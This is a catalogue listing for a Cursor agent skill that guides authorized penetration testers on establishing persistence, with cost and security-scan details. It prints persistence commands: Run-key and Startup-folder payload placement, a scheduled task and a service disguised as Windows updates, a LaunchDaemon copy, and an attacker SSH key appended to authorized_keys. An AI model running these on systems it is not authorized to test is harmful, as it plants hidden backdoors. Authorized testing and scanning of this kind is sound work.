metasploit-cursor-harness: Skill for Cursor

.cursor/skills/persistence-pentest/SKILL.md

persistence-pentest is a skill for Cursor from Suzu-Testing/metasploit-cursor-harness. It costs 41 tokens per session (2,483 once invoked), scanned B, original, MIT.

A guide to researching and documenting ways an attacker could keep access to Windows, Linux, or RDP systems after gaining entry. Persistence means surviving restarts or returning later.

In plain words
What is it for?
Use it to review registry keys, startup folders, scheduled tasks, services, cron jobs, and SSH options, with deployment only when the engagement rules explicitly allow it.
Why use it?
It emphasizes authorization, cleanup, and evidence so persistence testing does not leave an approved assessment system altered or inaccessible.

Skill for Cursor

Written for Cursor: installed under .cursor/.

This is Suzu-Testing/metasploit-cursor-harness's own configuration. It tells Cursor how to work on metasploit-cursor-harness itself, so it is not a mod to install elsewhere. Copy it as a starting point and replace the rules that are about this project. Everything metasploit-cursor-harness configures →

Reuse

Borrowing it

Nothing to install: this file belongs to Suzu-Testing/metasploit-cursor-harness. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.

Copy the file
curl -O https://raw.githubusercontent.com/Suzu-Testing/metasploit-cursor-harness/main/.cursor/skills/persistence-pentest/SKILL.md
Clone the repo
git clone --depth 1 https://github.com/Suzu-Testing/metasploit-cursor-harness

Made for: Cursor.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for persistence-pentest

README.md
[![agentmods](https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/persistence-pentest.svg)](https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/persistence-pentest)
Your own site
<a href="https://agentmods.dev/skills/suzu-testing/metasploit-cursor-harness/persistence-pentest"><img src="https://agentmods.dev/badge/skills/suzu-testing/metasploit-cursor-harness/persistence-pentest.svg" alt="Measured on agentmods" height="20"></a>
Per session 41 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,483 The whole file, excluding the scripts and references it only reads on demand.
Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00041 $0.02483
Opus 5 $0.00020 $0.01241
Sonnet 5 $0.00008 $0.00497
Haiku 4.5 $0.00004 $0.00248

Measured 7d ago against content hash 870294c1417d, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-07, from the pricing page.

Security

Grade B, and why

persistence-pentest scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootlowPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

sudo cp com.evil.update.plist /Library/LaunchDaemons/

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Reaches for credential filesmediumPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo "ssh-rsa AAAA... attacker@host" >> ~/.ssh/authorized_keys

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

.cursor/skills/persistence-pentest/SKILL.md · 351 lines

How it starts

The opening of the file, as written. The whole thing — 351 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Persistence Pentest

Prerequisites

  • Target is in scope (scope/scope-master.txt, engagement ROE).
  • Persistence deployment requires explicit ROE authorization. Default engagements document options only.
  • Coordinate with client on detection, rollback, and removal windows.
  • Load msf-post for session context and cleanup procedures.

Workflow

Task Progress:
- [ ] Confirm persistence is authorized in engagement roe.yaml
- [ ] Record current privilege level and OS build
- [ ] Enumerate viable vectors (registry, tasks, services, cron, SSH)
- [ ] Document technique, path, and cleanup steps
- [ ] Deploy only when explicitly authorized; schedule removal

Windows user-level persistence

Registry Run keys (HKCU)

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/manage/persistence_exe",
  engagement_id="<id>",
  session_id=<sid>,
  options={"EXE_PATH": "C:\\Users\\Public\\svc.exe", "STARTUP": "USER", "RENAME": "Update"}
)

CLI fallback:

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Update /t REG_SZ /d "C:\Users\Public\svc.exe" /f
copy payload.exe "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"

User scheduled tasks

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/manage/schtasks",
  engagement_id="<id>",
  session_id=<sid>,
  options={"EXE_PATH": "C:\\Users\\Public\\svc.exe", "NAME": "WindowsUpdate", "STARTUP": "USER"}
)

CLI fallback:

schtasks /create /sc onlogon /tn "WindowsUpdate" /tr "C:\Users\Public\svc.exe" /rl limited /f

Windows elevated persistence

Windows services

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/windows/manage/persistence_exe",
  engagement_id="<id>",
  session_id=<sid>,
  options={"EXE_PATH": "C:\\Windows\\Temp\\svc.exe", "STARTUP": "SYSTEM", "RENAME": "UpdateSvc"}
)

CLI fallback:

sc create UpdateSvc binPath= "C:\Windows\Temp\svc.exe" start= auto
sc start UpdateSvc

Read the full file on GitHub · 351 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 7d ago First seen · 351 lines · 41 tokens per session scan B 870294c1417d

Subscribe to this mod's changes

persistence-pentest is a skill published in the GitHub repository Suzu-Testing/metasploit-cursor-harness (3 stars, last pushed 13d ago), licensed MIT. It adds 41 tokens to every session and 2,483 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it B with 2 findings (asks for root, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

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